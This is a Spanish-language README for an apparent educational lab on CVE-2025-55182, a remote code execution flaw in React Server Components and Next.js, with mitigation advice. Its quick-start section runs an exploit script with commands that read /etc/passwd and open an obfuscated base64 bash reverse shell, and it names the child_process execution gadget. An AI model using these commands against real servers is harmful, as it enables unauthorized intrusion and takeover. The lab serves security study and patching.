React2Shell - Laboratorio CVE-2025-55182

Un laboratorio completo para demostrar y probar la vulnerabilidad crítica CVE-2025-55182 en React Server Components.

⚠️ Solo con fines educativos

Este repositorio está diseñado para:

• Investigación y educación en seguridad
• Comprensión de los mecanismos de vulnerabilidad
• Pruebas en tus propios sistemas
• Preparación para la caza de bug bounty

No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. El acceso no autorizado es ilegal.

🔴 Detalles de la vulnerabilidad

• CVE ID: CVE-2025-55182
• Puntuación CVSS: 10.0 (Crítico)
• Tipo: Ejecución remota de código no autenticada (RCE)
• Componentes afectados:
  • React 19.0.0 - 19.2.0
  • Next.js 15.x - 16.x
• Causa raíz: Deserialización insegura en el protocolo "Flight" de React Server Components

⚡ Capacidades

✅ Ejecutar comandos arbitrarios sin autenticación
✅ Leer archivos del sistema
✅ Crear y modificar archivos
✅ Establecer conexiones de shell inversa (reverse shell)
✅ Obtener control total del servidor

🚀 Inicio rápido

1. Instalación

npm install --legacy-peer-deps
npm run dev

El servidor se iniciará en http://localhost:3000

2. Comprobar la vulnerabilidad

bash check-cve.sh

3. Ejecutar los exploits

cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"

4. Shell inversa

# Terminal 1 - Listener
nc -lvnp 4444

# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"

📁 Estructura del proyecto

├── app/              # Vulnerable Next.js application
├── exploit/          # Working PoC exploit
│   └── rce_final.py  # Main exploit script
├── check-cve.sh      # Automated vulnerability checker
├── package.json      # Vulnerable dependencies
└── README.md

🔧 Detalles técnicos

La vulnerabilidad existe en la lógica de deserialización de los payloads de React Server Components. El exploit aprovecha la contaminación de prototipos (prototype pollution) para ejecutar código arbitrario mediante process.mainModule.require('child_process').execSync().

Flujo del ataque

1. Crear datos de formulario multipart maliciosos
2. Enviarlos a la aplicación React vulnerable
3. Explotar la deserialización insegura en el protocolo "Flight"
4. Conseguir RCE en el servidor

📊 Impacto

• Confidencialidad: ALTA (leer cualquier archivo)
• Integridad: ALTA (modificar/crear archivos)
• Disponibilidad: ALTA (ejecutar comandos de denegación de servicio)

✅ Mitigación

1. Actualizar React a 19.2.1 o superior
2. Actualizar Next.js a 15.0.5+ o 16.0.7+
3. Implementar reglas de firewall de aplicaciones web (WAF)
4. Supervisar los registros del servidor para detectar intentos de explotación
5. Usar mecanismos de protección en tiempo de ejecución

📚 Referencias

• react2shell.com
• Detalles de CVE-2025-55182
• Aviso de seguridad de React
• Calculadora CVSS

⚖️ Aviso legal

Este código se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de asegurarse de contar con la autorización adecuada antes de probar cualquier sistema. El acceso no autorizado a sistemas informáticos es ilegal según leyes como la Computer Fraud and Abuse Act (CFAA) y legislación similar en otras jurisdicciones.

El autor no asume ninguna responsabilidad por el mal uso de esta información.

🎓 Resultados de aprendizaje

Después de completar este laboratorio, comprenderás:

• Cómo funcionan las vulnerabilidades de deserialización insegura
• Técnicas de ataque de contaminación de prototipos
• La arquitectura de React Server Components
• Métodos de explotación de RCE
• Prácticas adecuadas de divulgación de vulnerabilidades